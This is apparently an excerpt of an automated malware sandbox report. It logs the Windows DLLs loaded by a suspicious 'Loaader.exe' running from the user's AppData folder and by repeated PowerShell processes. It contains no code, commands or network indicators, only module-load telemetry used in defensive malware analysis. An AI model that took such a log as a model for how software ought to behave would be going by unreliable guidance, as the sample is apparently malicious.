Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
